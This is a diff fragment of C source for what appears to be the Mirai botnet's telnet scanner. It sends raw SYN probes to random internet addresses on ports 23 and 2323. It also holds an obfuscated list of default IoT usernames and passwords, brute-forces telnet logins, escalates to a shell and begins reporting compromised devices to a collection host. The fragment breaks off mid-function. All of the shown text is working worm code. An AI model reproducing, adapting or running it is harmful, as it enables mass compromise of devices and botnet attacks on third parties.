+ if (((char *)buf)[i] == 0x00)
+ {
+ ((char *)buf)[i] = 'A';
+ }
+ }
+ }
+
+ return ret;
+}
+
+void scanner_init(void)
+{
+ int i;
+ uint16_t source_port;
+ struct iphdr *iph;
+ struct tcphdr *tcph;
+
+ // Let parent continue on main thread
+ scanner_pid = fork();
+ if (scanner_pid > 0 || scanner_pid == -1)
+ return;
+
+ LOCAL_ADDR = util_local_addr();
+
+ rand_init();
+ fake_time = time(NULL);
+ conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));
+ for (i = 0; i < SCANNER_MAX_CONNS; i++)
+ {
+ conn_table[i].state = SC_CLOSED;
+ conn_table[i].fd = -1;
+ }
+
+ // Set up raw socket scanning and payload
+ if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
+ {
+#ifdef DEBUG
+ printf("[scanner] Failed to initialize raw socket, cannot scan\n");
+#endif
+ exit(0);
+ }
+ fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));
+ i = 1;
+ if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)
+ {
+#ifdef DEBUG
+ printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n");
+#endif
+ close(rsck);
+ exit(0);
+ }
+
+ do
+ {
+ source_port = rand_next() & 0xffff;
+ }
+ while (ntohs(source_port) < 1024);
+
+ iph = (struct iphdr *)scanner_rawpkt;
+ tcph = (struct tcphdr *)(iph + 1);
+
+ // Set up IPv4 header
+ iph->ihl = 5;
+ iph->version = 4;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
+ iph->id = rand_next();
+ iph->ttl = 64;
+ iph->protocol = IPPROTO_TCP;
+
+ // Set up TCP header
+ tcph->dest = htons(23);
+ tcph->source = source_port;
+ tcph->doff = 5;
+ tcph->window = rand_next() & 0xffff;
+ tcph->syn = TRUE;
+
+ // Set up passwords
+ add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
+ add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
+ add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
+ add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
+ add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
+ add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
+ add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
+ add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
+ add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
+ add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
+ add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
+ add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
+ add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
+ add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
+ add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
+ add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
+ add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
+ add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
+ add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
+ add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
+ add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
+ add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
+ add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
+ add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
+ add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
+ add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
+ add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
+ add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
+ add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
+ add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
+ add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
+ add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
+ add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
+ add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
+ add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
+ add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
+ add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
+ add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
+ add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
+ add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
+ add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
+ add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
+ add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
+ add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
+ add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
+ add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
+ add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
+ add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker
+
+
+#ifdef DEBUG
+ printf("[scanner] Scanner process initialized. Scanning started.\n");
+#endif
+
+ // Main logic loop
+ while (TRUE)
+ {
+ fd_set fdset_rd, fdset_wr;
+ struct scanner_connection *conn;
+ struct timeval tim;
+ int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
+
+ // Spew out SYN to try and get a response
+ if (fake_time != last_spew)
+ {
+ last_spew = fake_time;
+
+ for (i = 0; i < SCANNER_RAW_PPS; i++)
+ {
+ struct sockaddr_in paddr = {0};
+ struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
+ struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
+
+ iph->id = rand_next();
+ iph->saddr = LOCAL_ADDR;
+ iph->daddr = get_random_ip();
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ if (i % 10 == 0)
+ {
+ tcph->dest = htons(2323);
+ }
+ else
+ {
+ tcph->dest = htons(23);
+ }
+ tcph->seq = iph->daddr;
+ tcph->check = 0;
+ tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
+
+ paddr.sin_family = AF_INET;
+ paddr.sin_addr.s_addr = iph->daddr;
+ paddr.sin_port = tcph->dest;
+
+ sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
+ }
+ }
+
+ // Read packets from raw socket to get SYN+ACKs
+ last_avail_conn = 0;
+ while (TRUE)
+ {
+ int n;
+ char dgram[1514];
+ struct iphdr *iph = (struct iphdr *)dgram;
+ struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
+ struct scanner_connection *conn;
+
+ errno = 0;
+ n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
+ if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
+ break;
+
+ if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
+ continue;
+ if (iph->daddr != LOCAL_ADDR)
+ continue;
+ if (iph->protocol != IPPROTO_TCP)
+ continue;
+ if (tcph->source != htons(23) && tcph->source != htons(2323))
+ continue;
+ if (tcph->dest != source_port)
+ continue;
+ if (!tcph->syn)
+ continue;
+ if (!tcph->ack)
+ continue;
+ if (tcph->rst)
+ continue;
+ if (tcph->fin)
+ continue;
+ if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
+ continue;
+
+ conn = NULL;
+ for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
+ {
+ if (conn_table[n].state == SC_CLOSED)
+ {
+ conn = &conn_table[n];
+ last_avail_conn = n;
+ break;
+ }
+ }
+
+ // If there were no slots, then no point reading any more
+ if (conn == NULL)
+ break;
+
+ conn->dst_addr = iph->saddr;
+ conn->dst_port = tcph->source;
+ setup_connection(conn);
+#ifdef DEBUG
+ printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);
+#endif
+ }
+
+ // Load file descriptors into fdsets
+ FD_ZERO(&fdset_rd);
+ FD_ZERO(&fdset_wr);
+ for (i = 0; i < SCANNER_MAX_CONNS; i++)
+ {
+ int timeout;
+
+ conn = &conn_table[i];
+ timeout = (conn->state > SC_CONNECTING ? 30 : 5);
+
+ if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
+ {
+#ifdef DEBUG
+ printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+
+ // Retry
+ if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
+ {
+ if (++(conn->tries) == 10)
+ {
+ conn->tries = 0;
+ conn->state = SC_CLOSED;
+ }
+ else
+ {
+ setup_connection(conn);
+#ifdef DEBUG
+ printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
+#endif
+ }
+ }
+ else
+ {
+ conn->tries = 0;
+ conn->state = SC_CLOSED;
+ }
+ continue;
+ }
+
+ if (conn->state == SC_CONNECTING)
+ {
+ FD_SET(conn->fd, &fdset_wr);
+ if (conn->fd > mfd_wr)
+ mfd_wr = conn->fd;
+ }
+ else if (conn->state != SC_CLOSED)
+ {
+ FD_SET(conn->fd, &fdset_rd);
+ if (conn->fd > mfd_rd)
+ mfd_rd = conn->fd;
+ }
+ }
+
+ tim.tv_usec = 0;
+ tim.tv_sec = 1;
+ nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
+ fake_time = time(NULL);
+
+ for (i = 0; i < SCANNER_MAX_CONNS; i++)
+ {
+ conn = &conn_table[i];
+
+ if (conn->fd == -1)
+ continue;
+
+ if (FD_ISSET(conn->fd, &fdset_wr))
+ {
+ int err = 0, ret = 0;
+ socklen_t err_len = sizeof (err);
+
+ ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
+ if (err == 0 && ret == 0)
+ {
+ conn->state = SC_HANDLE_IACS;
+ conn->auth = random_auth_entry();
+ conn->rdbuf_pos = 0;
+#ifdef DEBUG
+ printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
+#endif
+ }
+ else
+ {
+#ifdef DEBUG
+ printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+ conn->tries = 0;
+ conn->state = SC_CLOSED;
+ continue;
+ }
+ }
+
+ if (FD_ISSET(conn->fd, &fdset_rd))
+ {
+ while (TRUE)
+ {
+ int ret;
+
+ if (conn->state == SC_CLOSED)
+ break;
+
+ if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
+ {
+ memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
+ conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
+ }
+ errno = 0;
+ ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
+ if (ret == 0)
+ {
+#ifdef DEBUG
+ printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
+#endif
+ errno = ECONNRESET;
+ ret = -1; // Fall through to closing connection below
+ }
+ if (ret == -1)
+ {
+ if (errno != EAGAIN && errno != EWOULDBLOCK)
+ {
+#ifdef DEBUG
+ printf("[scanner] FD%d lost connection\n", conn->fd);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+
+ // Retry
+ if (++(conn->tries) >= 10)
+ {
+ conn->tries = 0;
+ conn->state = SC_CLOSED;
+ }
+ else
+ {
+ setup_connection(conn);
+#ifdef DEBUG
+ printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
+#endif
+ }
+ }
+ break;
+ }
+ conn->rdbuf_pos += ret;
+ conn->last_recv = fake_time;
+
+ while (TRUE)
+ {
+ int consumed = 0;
+
+ switch (conn->state)
+ {
+ case SC_HANDLE_IACS:
+ if ((consumed = consume_iacs(conn)) > 0)
+ {
+ conn->state = SC_WAITING_USERNAME;
+#ifdef DEBUG
+ printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);
+#endif
+ }
+ break;
+ case SC_WAITING_USERNAME:
+ if ((consumed = consume_user_prompt(conn)) > 0)
+ {
+ send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+ conn->state = SC_WAITING_PASSWORD;
+#ifdef DEBUG
+ printf("[scanner] FD%d received username prompt\n", conn->fd);
+#endif
+ }
+ break;
+ case SC_WAITING_PASSWORD:
+ if ((consumed = consume_pass_prompt(conn)) > 0)
+ {
+#ifdef DEBUG
+ printf("[scanner] FD%d received password prompt\n", conn->fd);
+#endif
+
+ // Send password
+ send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+
+ conn->state = SC_WAITING_PASSWD_RESP;
+ }
+ break;
+ case SC_WAITING_PASSWD_RESP:
+ if ((consumed = consume_any_prompt(conn)) > 0)
+ {
+ char *tmp_str;
+ int tmp_len;
+
+#ifdef DEBUG
+ printf("[scanner] FD%d received shell prompt\n", conn->fd);
+#endif
+
+ // Send enable / system / shell / sh to session to drop into shell if needed
+ table_unlock_val(TABLE_SCAN_ENABLE);
+ tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);
+ send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+ table_lock_val(TABLE_SCAN_ENABLE);
+ conn->state = SC_WAITING_ENABLE_RESP;
+ }
+ break;
+ case SC_WAITING_ENABLE_RESP:
+ if ((consumed = consume_any_prompt(conn)) > 0)
+ {
+ char *tmp_str;
+ int tmp_len;
+
+#ifdef DEBUG
+ printf("[scanner] FD%d received sh prompt\n", conn->fd);
+#endif
+
+ table_unlock_val(TABLE_SCAN_SYSTEM);
+ tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);
+ send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+ table_lock_val(TABLE_SCAN_SYSTEM);
+
+ conn->state = SC_WAITING_SYSTEM_RESP;
+ }
+ break;
+ case SC_WAITING_SYSTEM_RESP:
+ if ((consumed = consume_any_prompt(conn)) > 0)
+ {
+ char *tmp_str;
+ int tmp_len;
+
+#ifdef DEBUG
+ printf("[scanner] FD%d received sh prompt\n", conn->fd);
+#endif
+
+ table_unlock_val(TABLE_SCAN_SHELL);
+ tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);
+ send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+ table_lock_val(TABLE_SCAN_SHELL);
+
+ conn->state = SC_WAITING_SHELL_RESP;
+ }
+ break;
+ case SC_WAITING_SHELL_RESP:
+ if ((consumed = consume_any_prompt(conn)) > 0)
+ {
+ char *tmp_str;
+ int tmp_len;
+
+#ifdef DEBUG
+ printf("[scanner] FD%d received enable prompt\n", conn->fd);
+#endif
+
+ table_unlock_val(TABLE_SCAN_SH);
+ tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);
+ send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+ table_lock_val(TABLE_SCAN_SH);
+
+ conn->state = SC_WAITING_SH_RESP;
+ }
+ break;
+ case SC_WAITING_SH_RESP:
+ if ((consumed = consume_any_prompt(conn)) > 0)
+ {
+ char *tmp_str;
+ int tmp_len;
+
+#ifdef DEBUG
+ printf("[scanner] FD%d received sh prompt\n", conn->fd);
+#endif
+
+ // Send query string
+ table_unlock_val(TABLE_SCAN_QUERY);
+ tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);
+ send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
+ send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
+ table_lock_val(TABLE_SCAN_QUERY);
+
+ conn->state = SC_WAITING_TOKEN_RESP;
+ }
+ break;
+ case SC_WAITING_TOKEN_RESP:
+ consumed = consume_resp_prompt(conn);
+ if (consumed == -1)
+ {
+#ifdef DEBUG
+ printf("[scanner] FD%d invalid username/password combo\n", conn->fd);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+
+ // Retry
+ if (++(conn->tries) == 10)
+ {
+ conn->tries = 0;
+ conn->state = SC_CLOSED;
+ }
+ else
+ {
+ setup_connection(conn);
+#ifdef DEBUG
+ printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
+#endif
+ }
+ }
+ else if (consumed > 0)
+ {
+ char *tmp_str;
+ int tmp_len;
+#ifdef DEBUG
+ printf("[scanner] FD%d Found verified working telnet\n", conn->fd);
+#endif
+ report_working(conn->dst_addr, conn->dst_port, conn->auth);
+ close(conn->fd);
+ conn->fd = -1;
+ conn->state = SC_CLOSED;
+ }
+ break;
+ default:
+ consumed = 0;
+ break;
+ }
+
+ // If no data was consumed, move on
+ if (consumed == 0)
+ break;
+ else
+ {
+ if (consumed > conn->rdbuf_pos)
+ consumed = conn->rdbuf_pos;
+
+ conn->rdbuf_pos -= consumed;
+ memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+void scanner_kill(void)
+{
+ kill(scanner_pid, 9);
+}
+
+static void setup_connection(struct scanner_connection *conn)
+{
+ struct sockaddr_in addr = {0};
+
+ if (conn->fd != -1)
+ close(conn->fd);
+ if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ {
+#ifdef DEBUG
+ printf("[scanner] Failed to call socket()\n");
+#endif
+ return;
+ }
+
+ conn->rdbuf_pos = 0;
+ util_zero(conn->rdbuf, sizeof(conn->rdbuf));
+
+ fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
+
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = conn->dst_addr;
+ addr.sin_port = conn->dst_port;
+
+ conn->last_recv = fake_time;
+ conn->state = SC_CONNECTING;
+ connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
+}
+
+static ipv4_t get_random_ip(void)
+{
+ uint32_t tmp;
+ uint8_t o1, o2, o3, o4;
+
+ do
+ {
+ tmp = rand_next();
+
+ o1 = tmp & 0xff;
+ o2 = (tmp >> 8) & 0xff;
+ o3 = (tmp >> 16) & 0xff;
+ o4 = (tmp >> 24) & 0xff;
+ }
+ while (o1 == 127 || // 127.0.0.0/8 - Loopback
+ (o1 == 0) || // 0.0.0.0/8 - Invalid address space
+ (o1 == 3) || // 3.0.0.0/8 - General Electric Company
+ (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
+ (o1 == 56) || // 56.0.0.0/8 - US Postal Service
+ (o1 == 10) || // 10.0.0.0/8 - Internal network
+ (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
+ (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
+ (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
+ (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
+ (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
+ (o1 >= 224) || // 224.*.*.*+ - Multicast
+ (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
+ );
+
+ return INET_ADDR(o1,o2,o3,o4);
+}
+
+static int consume_iacs(struct scanner_connection *conn)
+{
+ int consumed = 0;
+ uint8_t *ptr = conn->rdbuf;
+
+ while (consumed < conn->rdbuf_pos)
+ {
+ int i;
+
+ if (*ptr != 0xff)
+ break;
+ else if (*ptr == 0xff)
+ {
+ if (!can_consume(conn, ptr, 1))
+ break;
+ if (ptr[1] == 0xff)
+ {
+ ptr += 2;
+ consumed += 2;
+ continue;
+ }
+ else if (ptr[1] == 0xfd)
+ {
+ uint8_t tmp1[3] = {255, 251, 31};
+ uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
+
+ if (!can_consume(conn, ptr, 2))
+ break;
+ if (ptr[2] != 31)
+ goto iac_wont;
+
+ ptr += 3;
+ consumed += 3;
+
+ send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
+ send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
+ }
+ else
+ {
+ iac_wont:
+
+ if (!can_consume(conn, ptr, 2))
+ break;
+
+ for (i = 0; i < 3; i++)
+ {
+ if (ptr[i] == 0xfd)
+ ptr[i] = 0xfc;
+ else if (ptr[i] == 0xfb)
+ ptr[i] = 0xfd;
+ }
+
+ send(conn->fd, ptr, 3, MSG_NOSIGNAL);
+ ptr += 3;
+ consumed += 3;
+ }
+ }
+ }
+
+ return consumed;
+}
+
+static int consume_any_prompt(struct scanner_connection *conn)
+{
+ char *pch;
+ int i, prompt_ending = -1;
+
+ for (i = conn->rdbuf_pos - 1; i > 0; i--)
+ {
+ if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
+ {
+ prompt_ending = i + 1;
+ break;
+ }
+ }
+
+ if (prompt_ending == -1)
+ return 0;
+ else
+ return prompt_ending;
+}
+
+static int consume_user_prompt(struct scanner_connection *conn)
+{
+ char *pch;
+ int i, prompt_ending = -1;
+
+ for (i = conn->rdbuf_pos - 1; i > 0; i--)
+ {
+ if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
+ {
+ prompt_ending = i + 1;
+ break;
+ }
+ }
+
+ if (prompt_ending == -1)
+ {
+ int tmp;
+
+ if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
+ prompt_ending = tmp;
+ else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
+ prompt_ending = tmp;
+ }
+
+ if (prompt_ending == -1)
+ return 0;
+ else
+ return prompt_ending;
+}
+
+static int consume_pass_prompt(struct scanner_connection *conn)
+{
+ char *pch;
+ int i, prompt_ending = -1;
+
+ for (i = conn->rdbuf_pos - 1; i > 0; i--)
+ {
+ if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')
+ {
+ prompt_ending = i + 1;
+ break;
+ }
+ }
+
+ if (prompt_ending == -1)
+ {
+ int tmp;
+
+ if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
+ prompt_ending = tmp;
+ }
+
+ if (prompt_ending == -1)
+ return 0;
+ else
+ return prompt_ending;
+}
+
+static int consume_resp_prompt(struct scanner_connection *conn)
+{
+ char *tkn_resp;
+ int prompt_ending, len;
+
+ table_unlock_val(TABLE_SCAN_NCORRECT);
+ tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);
+ if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)
+ {
+ table_lock_val(TABLE_SCAN_NCORRECT);
+ return -1;
+ }
+ table_lock_val(TABLE_SCAN_NCORRECT);
+
+ table_unlock_val(TABLE_SCAN_RESP);
+ tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);
+ prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);
+ table_lock_val(TABLE_SCAN_RESP);
+
+ if (prompt_ending == -1)
+ return 0;
+ else
+ return prompt_ending;
+}
+
+static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
+{
+ int tmp;
+
+ auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));
+ auth_table[auth_table_len].username = deobf(enc_user, &tmp);
+ auth_table[auth_table_len].username_len = (uint8_t)tmp;
+ auth_table[auth_table_len].password = deobf(enc_pass, &tmp);
+ auth_table[auth_table_len].password_len = (uint8_t)tmp;
+ auth_table[auth_table_len].weight_min = auth_table_max_weight;
+ auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
+ auth_table_max_weight += weight;
+}
+
+static struct scanner_auth *random_auth_entry(void)
+{
+ int i;
+ uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);
+
+ for (i = 0; i < auth_table_len; i++)
+ {
+ if (r < auth_table[i].weight_min)
+ continue;
+ else if (r < auth_table[i].weight_max)
+ return &auth_table[i];
+ }
+
+ return NULL;
+}
+
+static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)
+{
+ struct sockaddr_in addr;
+ int pid = fork(), fd;
+ struct resolv_entries *entries = NULL;
+
+ if (pid > 0 || pid == -1)
+ return;
+
+ if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ {
+#ifdef DEBUG
